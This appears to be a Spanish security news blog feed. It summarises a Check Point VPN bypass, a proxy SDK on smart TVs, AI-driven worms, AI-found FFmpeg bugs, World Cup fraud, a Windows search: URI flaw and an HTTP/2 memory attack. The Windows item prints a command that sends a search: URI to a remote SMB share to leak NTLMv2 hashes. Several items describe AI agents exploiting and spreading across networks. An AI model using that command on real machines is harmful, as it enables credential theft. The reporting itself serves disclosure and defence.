Segu-Info - Ciberseguridad desde 2000

Explotan vulnerabilidad crítica en la VPN de Check Point

noreply@blogger.com (SSD) — Mon, 8 Jun 2026 16:51:00 -0300

Check Point ha alertado sobre la explotación activa de una vulnerabilidad crítica que afecta a las implementaciones de VPN de acceso remoto y acceso móvil configuradas para usar el protocolo de intercambio de claves IKEv1, actualmente obsoleto.

La vulnerabilidad, identificada como CVE-2026-50751 (CVSS: 9.3), consiste en una debilidad en el flujo lógico de la validación de certificados que permite a un atacante remoto no autenticado eludir la autenticación de usuario y establecer una conexión VPN de acceso remoto sin una contraseña válida.

"Al explotar una vulnerabilidad lógica en la validación de certificados, un atacante puede establecer una sesión VPN sin poseer una contraseña válida, eludiendo así los requisitos de autenticación", declaró Check Point. "Se requiere actividad adicional posterior a la autenticación para acceder a recursos internos o escalar privilegios".

La vulnerabilidad afecta a los siguientes productos y versiones:

Security Gateways R82.10 Jumbo Hotfix Take 19 o inferior, R82 Jumbo Hotfix Take 103 o inferior, R81.20 Jumbo Hotfix Take 141 o inferior, R81.10 (EOS), R81 (EOS) y R80.40 (EOS)
Spark Firewalls: R80.20.X (EOS), R81.10.X y R82.00.X

Para explotar la vulnerabilidad con éxito, se deben cumplir las siguientes condiciones:

El acceso remoto VPN o el acceso móvil deben estar habilitados.
IKEv1 debe estar habilitado para el acceso remoto.
Los gateways deben aceptar clientes de acceso remoto heredados.
Los gateways no deben requerir un certificado de máquina para las conexiones.

La empresa israelí de ciberseguridad indicó que detectó los primeros indicios de actividad sospechosa el 4 de junio de 2026, y que la primera explotación observada data del 7 de mayo de 2026. Se afirma que los esfuerzos de explotación se intensificaron a partir de este año. mes.

Check Point añadió que la actividad de explotación se ha limitado a "unas pocas docenas de organizaciones objetivo a nivel mundial". En un caso, la fase posterior a la explotación se ha asociado con una filial del ransomware Qilin.

"Creemos que la infraestructura de este actor de amenazas está explotando otras vulnerabilidades relacionadas con VPN, como las publicadas por Palo Alto Networks, Fortinet y F5", señaló. "Identificamos indicadores que sugieren que el actor podría usar el protocolo Tox para comunicarse, un patrón comúnmente asociado con los actores de ransomware con fines lucrativos".

Un aspecto clave es el uso de una infraestructura de servidor virtual privado (VPS) para llevar a cabo los ataques. Específicamente, esto implica depender de servidores VPS geolocalizados en un país específico para atacar a organizaciones dentro de sus fronteras. Una vez establecido el acceso, se descubrió que los atacantes intentaban descargar archivos ELF maliciosos de la infraestructura controlada por el actor.

Algunos aspectos de estos esfuerzos coinciden con un informe de Ctrl-Alt-Intel del mes pasado, que destacaba el abuso por parte del grupo de ransomware de los dispositivos VPN corporativos para el acceso inicial.

Un análisis más detallado de los componentes VPN afectados ha revelado una segunda vulnerabilidad, CVE-2026-50752 (CVSS: 7,40), que podría permitir un ataque de intermediario (AitM) en las conexiones VPN de sitio a sitio. No existen indicios de que esta vulnerabilidad haya sido explotada en ataques reales.

Fuente: THN

Aplicaciones gratuitas convierten televisores en servidores proxy para IA

noreply@blogger.com (SSD) — Mon, 8 Jun 2026 14:50:33 -0300

Un investigador ha realizado ingeniería inversa al SDK de iOS que Bright Data incorpora en aplicaciones de consumo y ha documentado cómo convierte dispositivos, incluidos televisores inteligentes siempre encendidos, en nodos de salida que transmiten el tráfico web para un negocio de datos que Bright Data comercializa fuertemente en la industria de la IA.

La empresa, sucesora de Luminati, opera lo que llama la red de proxy residencial más grande del mundo, anunciada en más de 400 millones de IP residenciales. Parte de ese suministro proviene de este SDK, que se incluye dentro de aplicaciones gratuitas detrás de una pantalla de suscripción y se describe como un grupo de más de 150 millones de direcciones IP "obtenidas mediante consentimiento".

Los hallazgos, publicados el 5 de junio por Include Security y el investigador independiente Buchodi, son importantes porque el scraping proviene de la IP doméstica del usuario, no de la del cliente. El riesgo inmediato no es una cuenta pirateada o datos robados; es que una conexión doméstica y su ancho de banda se utilizan como infraestructura de raspado de otra persona.

Un televisor conectado es casi ideal para eso: generalmente enchufado, con una conexión rápida, efectivamente no medido y sin mirar.

La evidencia técnica más profunda proviene del SDK de iOS; El alcance de la televisión inteligente se basa en el soporte de la plataforma de Bright Data, su lista de socios públicos y sus informes anteriores. La investigación encontró que el canal de pares que realiza trabajos de scraping no tiene autenticación real y, en iOS, su tráfico pasa por alto una VPN configurada.

Dentro del túnel de pares

Cuando se abre la aplicación, el SDK se pone en contacto con uno de los servidores de Bright Data, que entrega sus instrucciones sin comprobar realmente quién pregunta. A partir de ese momento, el servidor puede indicarle al dispositivo que vaya a buscar páginas de otros sitios web, utilizando la conexión a Internet del hogar del usuario para hacerlo.

El investigador descubrió que el canal que realiza esas tareas no tiene ninguno de los controles de seguridad habituales y lo describió como más débil que los controles integrados en la mayoría del malware.

En los iPhone, el investigador descubrió que este tráfico pasa por una VPN y que gran parte de lo que hace la aplicación no aparece en las herramientas que los equipos de seguridad normalmente usan para monitorear las aplicaciones. El dispositivo también puede seguir transmitiendo en segundo plano mientras alguien mira la pantalla o atiende una llamada, siempre que la batería no esté baja.

La brecha de consentimiento

La pantalla de suscripción no coincide con lo que realmente permite el SDK. En una aplicación de Roku, Petflix, la pantalla decía que usaría el dispositivo y su conexión "ocasionalmente".

La configuración que carga el SDK permite hasta 200 GB de tráfico al mes. En algunos países, incluidos Uzbekistán y Omán, los límites son mucho más altos y el dispositivo puede seguir funcionando casi hasta que se agote la batería. El SDK también puede unir el teléfono de una persona y las computadoras que ejecutan las aplicaciones de la misma empresa, tratándolos como un solo usuario.

Bright Data publica su lista de socios de aplicaciones en una página que cualquiera puede abrir e incluye creadores de aplicaciones de televisión inteligente como PlayWorks Digital, CloudTV y Longvision. El investigador tiene cuidado de señalar que estar en la lista solo muestra que una empresa trabajó con Bright Data en algún momento, no que su aplicación incluya el SDK en la actualidad. Habría que comprobar cada uno por separado.

Un modelo antiguo, impulsado por la demanda de IA

Nada de esto es nuevo en cuanto a forma, sólo en escala. Bright Data es el sucesor de Luminati, el servicio de proxy pago que surgió de Hola VPN. En 2015, Hola fue sorprendida vendiendo el ancho de banda de sus usuarios gratuitos como nodos de salida a través de Luminati, a 20 dólares el gigabyte. El mismo modelo funciona ahora en la caja siempre encendida del salón.

Lo que cambió es el comprador. Las defensas anti-bot de Cloudflare, DataDome y otros bloquean los scrapers provenientes de las IP de los centros de datos, por lo que los scrapers de IA se dirigen a través de conexiones residenciales.

Krebs informó en octubre de 2025 que los servidores proxy de botnets como Aisuru están impulsando la recolección de datos de IA a gran escala, y Google desmanteló la red proxy criminal IPIDEA en enero. Esas operaciones secuestran los dispositivos de los consumidores; Bright Data dice que sus nodos de salida optan por participar a través de una pantalla de consentimiento. Ese consentimiento es la línea divisoria entre ambos, y si es significativo es la cuestión abierta.

Lowpass apareció en febrero, y este es el desmontaje técnico. Desde entonces, Google, Amazon y Roku han restringido los SDK de proxy en segundo plano, y Bright Data eliminó esas plataformas, aunque todavía incluye Tizen de Samsung y webOS de LG.

Qué hacer

El tráfico es fácil de detectar y bloquear. En una red doméstica, el paso más sencillo es bloquear las direcciones web que utiliza el SDK para conectarse, con una herramienta a nivel de enrutador como Pi-hole o NextDNS.

Los principales son proxyjs.brdtnet.com, proxyjs.luminatinet.com, proxyjs.bright-sdk.com, clientdk.bright-sdk.com y clientdk.brdtnet.com. Según la investigación, bloquearlos impide que el dispositivo actúe como un proxy sin afectar el servicio pago de Bright Data, que se ejecuta en direcciones separadas.

Las empresas que administran los teléfonos del personal también pueden buscar aplicaciones que incluyan el SDK. Un problema: en una conexión móvil, el tráfico evita el Wi-Fi de la oficina, por lo que un bloqueo de red por sí solo no siempre lo captará. Bright Data también podría cambiar la forma en que se conecta el SDK en el futuro, lo que significaría que es necesario actualizar cualquier lista de bloqueo.

Fuente: THN

Agentes de IA permiten gusanos adaptativos

noreply@blogger.com (SSD) — Sun, 7 Jun 2026 13:05:00 -0300

Investigadores de la Universidad de Toronto, el Vector Institute, la Universidad de Cambridge y ServiceNow demostraron que un gusano informático impulsado por IA, que utiliza Grandes Modelos de Lenguaje de peso abierto y un arnés agéntico especializado, puede propagarse de forma autónoma y explotar adaptativamente objetivos heterogéneos a través de una red.

El gusano logró la explotación del 73.8% y la replicación al 61.8% de los hosts objetivo en promedio en entornos simulados, incluyendo la explotación exitosa de vulnerabilidades divulgadas recientemente.

La investigación, realizada en un laboratorio digital cerrado al exterior, mostró que un gusano impulsado por modelos de IA abiertos puede tomar control de una red completa, apropiarse de capacidad de cómputo de las máquinas infectadas y usar esos recursos para continuar su expansión. El alcance de la amenaza abarca desde computadoras portátiles hasta sistemas de climatización y redes eléctricas, de acuerdo con Nicolas Papernot, uno de los autores del trabajo.

El investigador explicó que el equipo decidió divulgar los hallazgos después de revisar el estudio para eliminar cualquier información que pudiera ayudar a actores maliciosos. Antes de publicarlo, los autores compartieron sus resultados con organismos nacionales de ciencia, seguridad y defensa.

El trabajo se centró en modelos de IA de "pesos abiertos", que cualquier persona puede descargar y modificar de forma gratuita. Los investigadores quisieron poner a prueba la idea, extendida en parte de la comunidad de ciberseguridad, de que esos modelos más pequeños no tienen suficiente capacidad para causar daños reales.

Para hacerlo, construyeron una prueba de concepto en un sistema seguro y cerrado que simuló el comportamiento de un gusano de IA en una red de decenas de dispositivos interconectados, entre ellos portátiles, impresoras y cámaras.

A diferencia de un gusano tradicional, que sigue un guion fijo programado por humanos y fracasa si encuentra una defensa para la que no fue diseñado, el prototipo evaluó cada objetivo, adaptó su ataque y luego se copió en la siguiente máquina.

El estudio mostró que el gusano podía reunir información mientras avanzaba por la red: cada intrusión revelaba contraseñas y puntos débiles que facilitaban el acceso al siguiente equipo. Esa capacidad de ajuste hace que una sola defensa no baste para frenarlo.

Papernot explicó que el programa amplía su radio de acción a costa de las propias víctimas. Una vez instalado en una máquina, el gusano desvía potencia de procesamiento para sostener su razonamiento y preparar el siguiente ataque, lo que elimina en los hechos el costo de cada nueva infección.

De acuerdo con el portal, la principal diferencia con trabajos anteriores es que este prototipo no se limita a propagarse a través de aplicaciones de inteligencia artificial, sino que puede operar fuera de esos sistemas y atacar el software subyacente. Eso amplía de forma directa el universo de dispositivos en riesgo.

"Cada dispositivo conectado a Internet, portátiles, cámaras, termostatos inteligentes y todo lo demás, se convierte en un objetivo potencial, aunque no sea por los datos que almacena, sí como punto de apoyo para atacar objetivos más valiosos", indicó Papernot.

El prototipo no descubre vulnerabilidades desconocidas, a diferencia de modelos más potentes y fuertemente protegidos como Claude Mythos de Anthropic. Aun así, en un entorno abierto podría acceder a Internet, localizar avisos sobre fallas recién detectadas y explotarlas antes de que lleguen los parches de software.

Medidas concretas para reducir el riesgo

"En un mundo interconectado, ningún sistema es inmune a esta amenaza", señaló Papernot. "Compartir estos hallazgos es el primer paso para movilizar a investigadores, líderes de la industria y responsables políticos para que actúen, y rápido", agregó.

El profesor pidió a los profesionales de tecnología reforzar cualquier ajuste de seguridad que pueda dejar expuestos sus sistemas y sostuvo que los usuarios también deben intervenir. Sus recomendaciones fueron concretas: mantener los dispositivos actualizados, usar contraseñas robustas y activar la autenticación multifactor.

Fuente: AI Agents Enable Adaptive Computer Worms

Agente de IA descubre 21 vulnerabilidades Zero-Day en FFmpeg y Chrome corrige la cifra récord de 429 errores

noreply@blogger.com (SSD) — Sat, 6 Jun 2026 11:55:32 -0300

Esta semana se produjeron dos acontecimientos con pocos días de diferencia. Una startup de seguridad informó de 21 vulnerabilidades hasta entonces desconocidas en FFmpeg, la biblioteca multimedia presente en prácticamente todos los productos relacionados con el vídeo. Todas ellas fueron descubiertas por un agente de IA autónomo.

Esa misma semana, Google lanzó Chrome 149 con parches para 429 fallos de seguridad, la mayor cantidad jamás registrada en una sola versión.

Solo los fallos de FFmpeg fueron detectados por IA. El récord de Chrome se produjo después de que Google renovara su programa de recompensas para gestionar la avalancha de informes generados por IA. Los mecanismos difieren, pero la presión es la misma: la IA está poniendo más vulnerabilidades al alcance de quienes deben solucionarlas, y a mayor velocidad que antes.

Los hallazgos sobre FFmpeg provienen de DepthFirst, cuyo agente de seguridad autónomo analizó las aproximadamente 1,5 millones de líneas de código C del proyecto y produjo 21 vulnerabilidades de día cero confirmadas, cada una con una prueba de concepto reproducible.

La empresa estima que el coste de la prueba fue de unos 1.000 dólares. Varios de los errores habían permanecido latentes durante 15 a 20 años; un desbordamiento de pila en el código de la tabla de descripción de servicios data de 2003 y permaneció sin corregir durante 23 años.

La mayoría son desbordamientos de pila o de montón en analizadores y demultiplexores, que abarcan componentes desde el demultiplexor TS hasta el decodificador VP9. DepthFirst afirma que algunos ya tienen identificadores CVE; su informe enumera nueve, del CVE-2026-39210 al CVE-2026-39218, y señala que el resto están corregidos pero aún no numerados. También publicó una prueba de concepto.

Por otro lado, Chrome 149 corrige 429 vulnerabilidades, un récord para una sola versión. Más de 100 son críticas o de alta gravedad, principalmente de uso de memoria liberada y validación de entrada insuficiente.

La peor, CVE-2026-10881 (CVSS 9.6), es una vulnerabilidad de lectura y escritura fuera de límites en el motor gráfico ANGLE que permite que una página manipulada escape del entorno aislado y ejecute código en el host. Google pagó 97.000 dólares por ella.

Los errores de mayor gravedad fueron en su mayoría hallazgos internos: de aproximadamente 90 errores de alta gravedad, solo 10 provenían de investigadores externos, y 19 de los 22 críticos fueron descubiertos por la propia Google. La conexión con la IA se relaciona más con el volumen que con la autoría.

Google no ha vinculado el error 429 con la IA; la señal oficial es la revisión del programa de recompensas que realizó en abril, motivada por una avalancha de informes generados por IA, y que ahora solicita un método de reproducción conciso en lugar de los extensos informes que produce la IA.

El agente Big Sleep de Google reportó una serie de errores en FFmpeg el año pasado, ahora visibles en la página de seguridad del proyecto, etiquetada como BIGSLEEP. El modelo Mythos de Anthropic extrajo una vulnerabilidad de H.264 de 16 años de antigüedad y otras de FFmpeg por aproximadamente $10.000, tres de las cuales se incluyeron en FFmpeg 8.1, según su propio informe.

Para actualizar FFmpeg, descargue la compilación corregida del proyecto original o la actualización de seguridad de su distribución tan pronto como esté disponible, y priorice cualquier cosa que consuma RTSP no confiable o AV1-over-RTP. FFmpeg se incluye ampliamente en pipelines multimedia, paquetes Python, imágenes de contenedores y dispositivos, así que no se limite a los paquetes del sistema; esas copias integradas también necesitan parches.

Encontrar estos errores se ha vuelto económico; clasificar los informes, distribuir las correcciones e instalarlas no lo ha sido, y gran parte de ese trabajo aún recae en voluntarios y un pequeño grupo de personas que ahora deben seguir el ritmo de las máquinas.

Fuente: THN

Comienza el mundial.. Así te infectan

noreply@blogger.com (SSD) — Fri, 5 Jun 2026 09:10:29 -0300

Investigadores de seguridad y el FBI advierten que una ola de fraudes relacionados con la FIFA ya está afectando a los aficionados del Mundial de 2026, a pocos días del inicio, el 11 de junio.

Informes recientes describen miles de dominios que imitan a la FIFA, malware bancario oculto en aplicaciones piratas de streaming y al menos una operación que copia la página de inicio de sesión de la FIFA con la suficiente fidelidad como para suplantar cuentas reales.

Es un objetivo obvio. Se espera la asistencia de más de seis millones de aficionados en 16 ciudades de Estados Unidos, Canadá y México, y la FIFA informó haber recibido más de 150 millones de solicitudes de entradas en los primeros 15 días, lo que significa que el torneo superó en unas 30 veces la capacidad ofrecida. Las entradas son escasas, los aficionados están ansiosos y el dinero circula rápidamente, lo que crea el ambiente propicio para el fraude.

Un operador, 300 sitios web de la FIFA clonados

Los hallazgos más detallados provienen de Group-IB, que rastreó más de 4.300 dominios fraudulentos de la FIFA registrados desde agosto de 2025. En el centro de todo se encuentra un grupo denominado GHOST STADIUM, una operación de habla china con fines lucrativos que utiliza un único kit de phishing en más de 300 de esos sitios.

La falsificación es muy efectiva. La página es una copia casi perfecta de FIFA e imita el inicio de sesión único real de la FIFA, gestionado por PingIdentity, incluyendo el ID de cliente genuino copiado del sitio web en funcionamiento. Carga las imágenes directamente desde los servidores de la FIFA, por lo que la página parece auténtica y evade las herramientas que detectan imágenes copiadas.

Aquí está el punto clave: la página de inicio de sesión falsa también solicita restablecer la contraseña. Una vez que la víctima ingresa sus datos, el atacante puede bloquear su cuenta de la FIFA y revender las entradas asociadas.

La mayor parte del tráfico proviene de anuncios de Facebook, con los mismos códigos de seguimiento reutilizados en todo el clúster, además de enlaces en Telegram, WhatsApp y en los resultados de búsqueda. El sitio acepta pagos de cinco maneras diferentes: ingreso directo de tarjeta, pasarelas de pago externas, aplicaciones de transferencia de dinero como Chime y Nequi, procesadores exclusivos de México y una opción de criptomonedas que convierte el pago con tarjeta en criptomonedas, mucho más difíciles de recuperar.

Esta última opción es una señal de alerta, ya que la venta oficial de entradas de la FIFA nunca acepta criptomonedas, por lo que cualquier vendedor que las solicite es una estafa.

Group-IB estima que las pérdidas por fraude en entradas premium y de hospitalidad oscilan entre 71 y 474 millones de dólares, y afirma que toda la campaña podría ascender a miles de millones. Estas son estimaciones basadas en la infraestructura que pueden observar, no pérdidas confirmadas.

Miles de dominios, muchos tipos de estafas

FortiGuard Labs contabilizó más de 13.000 dominios relacionados con la Copa Mundial registrados entre enero y mayo, de los cuales aproximadamente el 8,8% eran maliciosos o sospechosos.

El aviso del FBI enumera decenas de dominios falsos de la FIFA, desde imitaciones con errores ortográficos hasta páginas falsas de empleos de la FIFA, y advierte que aparecerán más. Otros investigadores han identificado miles de sitios similares y más de mil cuentas falsas en redes sociales.

El fraude con entradas es solo una parte del problema. Group-IB también descubrió tiendas de productos falsificados, sitios de streaming fraudulentos que cobran una suscripción y luego instalan malware que otorga el control al atacante, y sitios de apuestas falsos que recopilan escaneos de pasaportes y selfies para el robo de identidad.

Bitdefender rastreó por separado correos electrónicos de la lotería de la FIFA que prometían premios de hasta 2 millones de dólares. Group-IB también identificó un mercado de "phishing como servicio" que vende kits de estafa listos para usar y bots para comprar entradas, por lo que desmantelar un operador apenas ayuda.

Las piezas encajan: dominios falsos captan las búsquedas de entradas, los anuncios y los resultados de búsqueda impulsan el tráfico, el robo de contraseñas facilita el acceso no autorizado a cuentas, y las aplicaciones instaladas de forma no autorizada convierten la búsqueda de transmisiones en un fraude bancario.

Malware bancario oculto en aplicaciones de streaming

Para los aficionados que buscan transmisiones gratuitas de partidos, el mayor peligro reside en el teléfono. ThreatFabric detectó un aumento repentino de aplicaciones de streaming no oficiales maliciosas, muchas de ellas haciéndose pasar por la popular RojaDirecta, durante la reciente final de la Liga de Campeones, y prevé que se repita una situación similar en el Mundial, pero a mayor escala.

Kaspersky vinculó estas mismas aplicaciones con troyanos bancarios para Android, malware diseñado para robar dinero de aplicaciones bancarias y de criptomonedas, e identificó dos familias: Massiv y Perseus. Estas aplicaciones no están disponibles en Google Play, por lo que instalar una implica ignorar las advertencias que normalmente la bloquearían.

Una vez instalado, el malware utiliza las herramientas de accesibilidad de Android para tomar el control del teléfono. Puede superponer pantallas de inicio de sesión bancarias falsas sobre aplicaciones reales, registrar lo que escribe el propietario, interceptar los códigos de un solo uso de los mensajes de texto y las aplicaciones de inicio de sesión que están destinados a mantener las cuentas seguras, y controlar la pantalla de forma remota.

Perseus, basado en el código filtrado de un troyano antiguo llamado Cerberus, incluso lee aplicaciones de notas para obtener contraseñas guardadas y frases de recuperación de criptomonedas. La señal de alerta más simple, según ThreatFabric, es una aplicación de streaming que solicita acceso de accesibilidad. No tiene ninguna razón válida para necesitarlo.

Estafas en redes sociales, accesos robados y Wi-Fi de riesgo

Las redes sociales también están plagadas de estafas. Bitdefender detectó más de 55 campañas publicitarias con temática futbolística en Facebook e Instagram, que promocionaban equipos falsificados, pegatinas Panini falsas y páginas de phishing; dos de estas operaciones de venta de productos se rastrearon hasta operadores chinos a través de sus etiquetas de seguimiento de anuncios.

Fortinet contabilizó más de 1.700 cuentas suplantadas de la FIFA, casi el 90% de ellas en Facebook e Instagram, además de un esquema que utilizaba anuncios de empleo falsos de la FIFA e invitaciones de calendario para redirigir a los solicitantes a un inicio de sesión de Google que imitaba al de la FIFA.

Ya circulan credenciales de acceso robadas de la FIFA. Fortinet encontró cientos de miles de credenciales de usuario, además de más de 4600 direcciones web de la FIFA, en datos robados por malware de robo de credenciales como Vidar, LummaC2, y RedLine.

El Wi-Fi en las ciudades anfitrionas representa un problema en sí mismo. Un estudio de Kaspersky realizado en Ciudad de México, Monterrey y Guadalajara reveló que entre el 10% y el 12% de las redes estaban abiertas y sin contraseña, con la función de emparejamiento WPS activada en casi la mitad. Esto crea vulnerabilidades que permiten la creación de puntos de acceso falsos, imitando una red legítima y leyendo su tráfico sin que se dé cuenta.

¿Qué debes tener en cuenta?

Estas estafas dejan señales claras. Compra solo a través de fifa.com e introduce la dirección manualmente en lugar de confiar en un anuncio o un resultado de búsqueda. Activa la autenticación multifactor y desconfía de cualquier vendedor que solicite el pago en criptomonedas, ya que la venta de entradas de la FIFA nunca las requiere.

En Android, la señal de alerta más evidente es una aplicación de streaming que solicita acceso de accesibilidad innecesario. En redes Wi-Fi públicas en las ciudades sede, utilice datos móviles siempre que sea posible y evite iniciar sesión en cuentas bancarias o de correo electrónico.

Para los equipos de seguridad, la tarea es sencilla: estar atentos a nuevos dominios con temática de la FIFA y páginas de inicio de sesión similares, marcar cualquier inicio de sesión de empleados o clientes que aparezca en los registros de robo de Vidar, LummaC2 o RedLine, y preparar a los equipos de prevención de fraude para un aumento repentino de incidencias y contracargos hasta mediados de julio.

Meta afirma estar tomando medidas. Ahora muestra ventanas emergentes de advertencia cuando se buscan entradas para la FIFA en Facebook, y se asoció con Visa para desmantelar una red de Facebook vinculada a sitios web falsos del Mundial que promovían apuestas fraudulentas. El FBI solicita a quienes hayan sido víctimas de estafas que lo denuncien ante el IC3.

La mayor preocupación reside en lo que aún está pendiente. Group-IB contabilizó aproximadamente 3.800 dominios fraudulentos de la FIFA inactivos, listos para activarse. Con kits de estafa y bots ya disponibles para la venta, el período de mayor actividad es evidente: del 11 de junio al 19 de julio, cuando las búsquedas de entradas, transmisiones y viajes alcancen su punto máximo.

Fuente: THN

Vulnerabilidad sin parchear en la URI de búsqueda de Windows permite a los atacantes robar hashes NTLMv2

noreply@blogger.com (SSD) — Thu, 4 Jun 2026 15:28:00 -0300

Investigadores de ciberseguridad han revelado detalles de una vulnerabilidad sin parchear que podría explotarse para obtener el hash NTLMv2 de un usuario.

Como resultado, un atacante podría aprovechar el hash capturado para realizar ataques de retransmisión y obtener un acceso más profundo a la red. Tras la divulgación responsable el 15 de abril de 2026, Microsoft se negó a abordar el problema, declarando que "solo los casos de gravedad Importante y Crítica cumplen con nuestros criterios para recibir soporte".

Al igual que en el caso de CVE-2026-33829, que afectaba al controlador de URI `ms-screensketch:` de la herramienta Recortes de Windows, la nueva vulnerabilidad detectada reside en el controlador de URI `search:`, según Huntress.

CVE-2026-33829 se refiere a una vulnerabilidad de suplantación de identidad que podría exponer información confidencial a un atacante no autorizado.

"Un atacante podría inducir al usuario a hacer clic en un enlace especialmente diseñado en un navegador web u otra URL, insertándolo en una página web o un correo electrónico", señaló Microsoft en su aviso de seguridad en aquel momento.

Si el usuario aprueba la apertura del enlace, la URL manipulada puede inducir al equipo a conectarse a un servidor SMB elegido por el atacante, lo que revelaría el hash NTLMv2 del usuario al atacante, quien podría usarlo para autenticarse como tal.

En concreto, el problema radicaba en que el controlador de URI de la Herramienta Recortes aceptaba un parámetro "filePath", no lo validaba y accedía a cualquier ruta UNC (Convención de Nombres Universales) que se le pasara. Esto, a su vez, podía activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima al atacante.

La vulnerabilidad recientemente descubierta logra el mismo objetivo final utilizando "search:" y "crumb=location:" en lugar de "filePath" con un comando como el siguiente:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

"Utilizaba el mismo mecanismo de fuga NTLM, producía la misma fuga Net-NTLMv2, tenía los mismos requisitos previos y la misma calificación de Moderada", afirmó Andrew Schwartz, investigador de Huntress. Cabe destacar que el uso del parámetro "crumb" para robar el hash (CVE-2023-35636) fue documentado por Varonis en febrero de 2024.

A falta de una solución, se recomienda bloquear el tráfico SMB saliente (TCP/445 y TCP/139) en los hosts que no lo necesiten, exigir la firma SMB para que los hashes capturados no puedan reenviarse a servicios internos y deshabilitar NTLM donde corresponda.

Actualización: Este repositorio contiene una herramienta automatizada en Bash diseñada para auditar y verificar de manera pasiva y controlada si los activos con sistema operativo Windows son vulnerables a la manipulación insegura del manejador de protocolo search:.

Fuente: THN

Nueva vulnerabilidad HTTP/2 Bomb permite un ataque DoS remoto contra NGINX, Apache, IIS, Envoy y Cloudflare

noreply@blogger.com (SSD) — Thu, 4 Jun 2026 10:00:00 -0300

Investigadores de ciberseguridad han descubierto una vulnerabilidad de denegación de servicio remota que afecta a los principales servidores web, incluidos NGINX, Apache HTTPD, Microsoft IIS, Envoy y Cloudflare Pingora.

La vulnerabilidad ha sido denominada HTTP/2 Bomb por Calif.io. HTTP/2 Bomb explota HPACK y el control de flujo; un solo cliente puede consumir 32 GB de memoria en 20 segundos, provocando caídas del servidor.

"El comportamiento vulnerable existe en la configuración HTTP/2 predeterminada de cada servidor", afirmó la compañía, añadiendo que fue descubierta por OpenAI Codex mediante la combinación de dos técnicas conocidas: una bomba de compresión y una retención al estilo Slowloris.

"La bomba ataca HPACK, el esquema de compresión de encabezados de HTTP/2: un byte en la red se convierte en una asignación completa de encabezado en el servidor, que se repite miles de veces por solicitud", agregó Calif. "La retención es una ventana de control de flujo de cero bytes que impide que el servidor libere cualquier parte de ella."

HPACK es un algoritmo de compresión de encabezados específico para HTTP/2 que se utiliza para comprimir los metadatos de las solicitudes y respuestas mediante la codificación Huffman, lo que resulta en una reducción promedio del 30% en el tamaño del encabezado. También está diseñado para ser resistente a ataques como CRIME (acrónimo de "Compression Ratio Info-leak Made Easy", que puede filtrar las cookies de autenticación de los encabezados comprimidos.

Slowloris, por otro lado, es un tipo de ataque de denegación de servicio (DoS) que permite a un atacante saturar un servidor objetivo abriendo y manteniendo múltiples conexiones HTTP simultáneas entre el atacante y el objetivo. Se trata de un ataque a nivel de aplicación.

HTTP/2 Bomb se inspira en varios métodos conocidos, como HPACK Bomb (CVE-2016-6581), revelado por primera vez en 2016, así como en CVE-2025-53020, una vulnerabilidad de agotamiento de memoria en la implementación HTTP/2 de Apache httpd, y dos fallos de denegación de servicio (DoS) en Apache HTTP Server, activados mediante tramas CONTINUATION manipuladas (CVE-2016-8740) y la inanición de subprocesos de trabajo (CVE-2016-1546) en una conexión HTTP/2.

"La novedad reside en el origen de la amplificación. La bomba clásica inserta un valor grande en la tabla y lo referencia repetidamente, por lo que los servidores aprendieron a limitar el tamaño total del encabezado decodificado. Nuestra variante funciona al revés: el encabezado está casi vacío, y la amplificación proviene de la gestión de memoria que el servidor asigna a cada entrada. El límite de tamaño decodificado nunca se activa porque prácticamente no hay nada que decodificar".

En un hipotético escenario de ataque, un ordenador doméstico con una conexión de 100 Mbps podría dejar un servidor vulnerable inaccesible en cuestión de segundos. Además, un solo cliente puede consumir y mantener 32 GB de memoria del servidor en Apache HTTPD y Envoy en aproximadamente 20 segundos.

Para contrarrestar la vulnerabilidad, se recomienda aplicar las siguientes medidas:

NGINX: Actualizar a la versión 1.29.8 o superior, que añade la directiva `max_headers` con un valor predeterminado de 1000. Si no es posible actualizar, se recomienda deshabilitar HTTP/2 con `http2 off;`.
Apache HTTPD: Solucionado en `mod_http2 v2.0.41`. Si no es posible actualizar, se recomienda configurar los protocolos `http/1.1` para deshabilitar HTTP/2.
Microsoft IIS, Envoy y Cloudflare Pingora: No hay parche disponible al momento de redactar este informe.

"El error más profundo radica en que la especificación define el riesgo de memoria simplemente como una relación de amplificación, y esta relación es solo la mitad de la ecuación", afirmó Calif. "Un amplificador 70:1 es inofensivo si la memoria se libera cuando finaliza la solicitud. Se convierte en un ataque porque HTTP/2 permite al cliente mantener la conexión abierta casi sin coste alguno, reservando cada byte asignado durante el tiempo que desee."

Fuente: Calif

Disposición 1/2026 del CNC: qué exige técnicamente y cómo prepararse para cumplirla

noreply@blogger.com (SSD) — Wed, 3 Jun 2026 10:26:00 -0300

El 13 de mayo de 2026 se publicó en el Boletín Oficial la Disposición 1/2026 del Centro Nacional de Ciberseguridad (CNC), la primera norma emitida por el organismo desde su creación a fines de 2025. En una publicación anterior compartimos un resumen de los principales aspectos de esta medida, incluyendo el plazo de 180 días que tienen los organismos públicos para adecuarse — si aún no lo leíste, te recomendamos empezar por ahí: Disposición AR 1/2026 da 180 días a organismos públicos para reforzar su ciberseguridad.

La fuente del presente post es el Boletín Oficial de la República Argentina en su Disposición 1/2026, CNC (13/05/2026) y nos enfocamos en el Anexo I, el Reglamento Técnico que da cuerpo a la norma. Está organizado en tres capítulos y define con precisión qué debe hacer cada organismo en materia de políticas de contingencia, planes de recuperación y centros de datos de respaldo.

Capítulo 1: Política de Planes de Contingencias

Cada organismo debe elaborar una Política de Planes de Contingencias: un documento institucional que defina su propósito, alcance, roles, responsabilidades y cómo se coordinan las áreas. También debe establecer un mecanismo de actualización que sea tanto periódico como reactivo ante eventos previamente definidos.

El Anexo señala que un activo clave para esto es el inventario de sistemas: la política debe contemplar cómo generarlo, cómo clasificar cada sistema por criticidad y cómo mantenerlo actualizado. Además, debe designar un responsable formal (autoridad designada) del desarrollo de esta política.

1.1. El inventario de sistemas

El inventario debe enumerar todos los sistemas en un único formato estandarizado, actualizarse al menos una vez por año y también ante eventos relevantes (adquisiciones, cambios significativos). Para cada sistema, debe incluir:

Nivel de criticidad

Campo	Descripción
Descripción del sistema	Funcionalidades de negocio y su rol en la misión del organismo
Dependencias	Aplicaciones, datos, infraestructura y proveedores asociados
Impacto de interrupción	Por dimensiones: seguridad/vida, servicios al ciudadano, económico/operativo, legal/regulatorio y reputacional

Alto, Medio o Bajo (según la metodología de la sección 1.2)

RTO y RPO

Tiempo y punto de recuperación objetivo, consistentes con los valores de la Tabla 2

Prioridad de recuperación

Orden de restauración y recursos necesarios

El inventario debe ser aprobado por la autoridad designada.

